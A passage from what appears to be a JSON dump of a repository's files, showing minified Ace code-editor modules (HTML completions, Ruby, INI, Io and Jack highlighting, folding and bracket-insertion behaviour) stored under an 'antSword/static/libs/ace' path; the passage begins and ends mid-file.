datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ruby_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/coffee\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/),u=t.match(/^\\s*(class|def|module)\\s.*$/),a=t.match(/.*do(\\s*|\\s+\\|.*\\|\\s*)$/),f=t.match(/^\\s*(if|else)\\s*/);if(o||u||a||f)r+=n}return r},this.checkOutdent=function(e,t,n){return/^\\s+(end|else)$/.test(t+n)||this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){var r=t.getLine(n);if(/}/.test(r))return this.$outdent.autoOutdent(t,n);var i=this.$getIndent(r),s=t.getLine(n-1),o=this.$getIndent(s),a=t.getTabString();o.length<=i.length&&i.slice(-a.length)==a&&t.remove(new u(n,i.length-a.length,n,i.length))},this.$id=\"ace/mode/ruby\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/html_ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_ruby_highlight_rules\",\"ace/mode/html\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/ruby\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_ruby_highlight_rules\").HtmlRubyHighlightRules,s=e(\"./html\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./ruby\").Mode,f=function(){s.call(this),this.HighlightRules=i,this.createModeDelegates({\"js-\":o,\"css-\":u,\"ruby-\":a})};r.inherits(f,s),function(){this.$id=\"ace/mode/html_ruby\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-ini.js",
    "content": "ace.define(\"ace/mode/ini_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=\"\\\\\\\\(?:[\\\\\\\\0abtrn;#=:]|x[a-fA-F\\\\d]{4})\",o=function(){this.$rules={start:[{token:\"punctuation.definition.comment.ini\",regex:\"#.*\",push_:[{token:\"comment.line.number-sign.ini\",regex:\"$|^\",next:\"pop\"},{defaultToken:\"comment.line.number-sign.ini\"}]},{token:\"punctuation.definition.comment.ini\",regex:\";.*\",push_:[{token:\"comment.line.semicolon.ini\",regex:\"$|^\",next:\"pop\"},{defaultToken:\"comment.line.semicolon.ini\"}]},{token:[\"keyword.other.definition.ini\",\"text\",\"punctuation.separator.key-value.ini\"],regex:\"\\\\b([a-zA-Z0-9_.-]+)\\\\b(\\\\s*)(=)\"},{token:[\"punctuation.definition.entity.ini\",\"constant.section.group-title.ini\",\"punctuation.definition.entity.ini\"],regex:\"^(\\\\[)(.*?)(\\\\])\"},{token:\"punctuation.definition.string.begin.ini\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.ini\",regex:\"'\",next:\"pop\"},{token:\"constant.language.escape\",regex:s},{defaultToken:\"string.quoted.single.ini\"}]},{token:\"punctuation.definition.string.begin.ini\",regex:'\"',push:[{token:\"constant.language.escape\",regex:s},{token:\"punctuation.definition.string.end.ini\",regex:'\"',next:\"pop\"},{defaultToken:\"string.quoted.double.ini\"}]}]},this.normalizeRules()};o.metaData={fileTypes:[\"ini\",\"conf\"],keyEquivalent:\"^~I\",name:\"Ini\",scopeName:\"source.ini\"},r.inherits(o,i),t.IniHighlightRules=o}),ace.define(\"ace/mode/folding/ini\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/^\\s*\\[([^\\])]*)]\\s*(?:$|[;#])/,this.getFoldWidgetRange=function(e,t,n){var r=this.foldingStartMarker,s=e.getLine(n),o=s.match(r);if(!o)return;var u=o[1]+\".\",a=s.length,f=e.getLength(),l=n,c=n;while(++n<f){s=e.getLine(n);if(/^\\s*$/.test(s))continue;o=s.match(r);if(o&&o[1].lastIndexOf(u,0)!==0)break;c=n}if(c>l){var h=e.getLine(c).length;return new i(l,a,c,h)}}}.call(o.prototype)}),ace.define(\"ace/mode/ini\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ini_highlight_rules\",\"ace/mode/folding/ini\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ini_highlight_rules\").IniHighlightRules,o=e(\"./folding/ini\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/ini\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-io.js",
    "content": "ace.define(\"ace/mode/io_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"text\",\"meta.empty-parenthesis.io\"],regex:\"(\\\\()(\\\\))\",comment:\"we match this to overload return inside () --Allan; scoping rules for what gets the scope have changed, so we now group the ) instead of the ( -- Rob\"},{token:[\"text\",\"meta.comma-parenthesis.io\"],regex:\"(\\\\,)(\\\\))\",comment:\"We want to do the same for ,) -- Seckar; same as above -- Rob\"},{token:\"keyword.control.io\",regex:\"\\\\b(?:if|ifTrue|ifFalse|ifTrueIfFalse|for|loop|reverseForeach|foreach|map|continue|break|while|do|return)\\\\b\"},{token:\"punctuation.definition.comment.io\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.io\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.io\"}]},{token:\"punctuation.definition.comment.io\",regex:\"//\",push:[{token:\"comment.line.double-slash.io\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-slash.io\"}]},{token:\"punctuation.definition.comment.io\",regex:\"#\",push:[{token:\"comment.line.number-sign.io\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.number-sign.io\"}]},{token:\"variable.language.io\",regex:\"\\\\b(?:self|sender|target|proto|protos|parent)\\\\b\",comment:\"I wonder if some of this isn't variable.other.language? --Allan; scoping this as variable.language to match Objective-C's handling of 'self', which is inconsistent with C++'s handling of 'this' but perhaps intentionally so -- Rob\"},{token:\"keyword.operator.io\",regex:\"<=|>=|=|:=|\\\\*|\\\\||\\\\|\\\\||\\\\+|-|/|&|&&|>|<|\\\\?|@|@@|\\\\b(?:and|or)\\\\b\"},{token:\"constant.other.io\",regex:\"\\\\bGL[\\\\w_]+\\\\b\"},{token:\"support.class.io\",regex:\"\\\\b[A-Z](?:\\\\w+)?\\\\b\"},{token:\"support.function.io\",regex:\"\\\\b(?:clone|call|init|method|list|vector|block|\\\\w+(?=\\\\s*\\\\())\\\\b\"},{token:\"support.function.open-gl.io\",regex:\"\\\\bgl(?:u|ut)?[A-Z]\\\\w+\\\\b\"},{token:\"punctuation.definition.string.begin.io\",regex:'\"\"\"',push:[{token:\"punctuation.definition.string.end.io\",regex:'\"\"\"',next:\"pop\"},{token:\"constant.character.escape.io\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.triple.io\"}]},{token:\"punctuation.definition.string.begin.io\",regex:'\"',push:[{token:\"punctuation.definition.string.end.io\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.io\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.double.io\"}]},{token:\"constant.numeric.io\",regex:\"\\\\b(?:0(?:x|X)[0-9a-fA-F]*|(?:[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"variable.other.global.io\",regex:\"Lobby\\\\b\"},{token:\"constant.language.io\",regex:\"\\\\b(?:TRUE|true|FALSE|false|NULL|null|Null|Nil|nil|YES|NO)\\\\b\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"io\"],keyEquivalent:\"^~I\",name:\"Io\",scopeName:\"source.io\"},r.inherits(s,i),t.IoHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/io\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/tokenizer\",\"ace/mode/io_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"../tokenizer\").Tokenizer,o=e(\"./io_highlight_rules\").IoHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/io\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-jack.js",
    "content": "ace.define(\"ace/mode/jack_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"string\",regex:'\"',next:\"string2\"},{token:\"string\",regex:\"'\",next:\"string1\"},{token:\"constant.numeric\",regex:\"-?0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"(?:0|[-+]?[1-9][0-9]*)\\\\b\"},{token:\"constant.binary\",regex:\"<[0-9A-Fa-f][0-9A-Fa-f](\\\\s+[0-9A-Fa-f][0-9A-Fa-f])*>\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:\"constant.language.null\",regex:\"null\\\\b\"},{token:\"storage.type\",regex:\"(?:Integer|Boolean|Null|String|Buffer|Tuple|List|Object|Function|Coroutine|Form)\\\\b\"},{token:\"keyword\",regex:\"(?:return|abort|vars|for|delete|in|is|escape|exec|split|and|if|elif|else|while)\\\\b\"},{token:\"language.builtin\",regex:\"(?:lines|source|parse|read-stream|interval|substr|parseint|write|print|range|rand|inspect|bind|i-values|i-pairs|i-map|i-filter|i-chunk|i-all\\\\?|i-any\\\\?|i-collect|i-zip|i-merge|i-each)\\\\b\"},{token:\"comment\",regex:\"--.*$\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"storage.form\",regex:\"@[a-z]+\"},{token:\"constant.other.symbol\",regex:\":+[a-zA-Z_]([-]?[a-zA-Z0-9_])*[?!]?\"},{token:\"variable\",regex:\"[a-zA-Z_]([-]?[a-zA-Z0-9_])*[?!]?\"},{token:\"keyword.operator\",regex:\"\\\\|\\\\||\\\\^\\\\^|&&|!=|==|<=|<|>=|>|\\\\+|-|\\\\*|\\\\/|\\\\^|\\\\%|\\\\#|\\\\!\"},{token:\"text\",regex:\"\\\\s+\"}],string1:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|['\"\\\\\\/bfnrt])/},{token:\"string\",regex:\"[^'\\\\\\\\]+\"},{token:\"string\",regex:\"'\",next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}],string2:[{token:\"constant.language.escape\",regex:/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|['\"\\\\\\/bfnrt])/},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\"\",next:\"start\"}]}};r.inherits(s,i),t.JackHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var 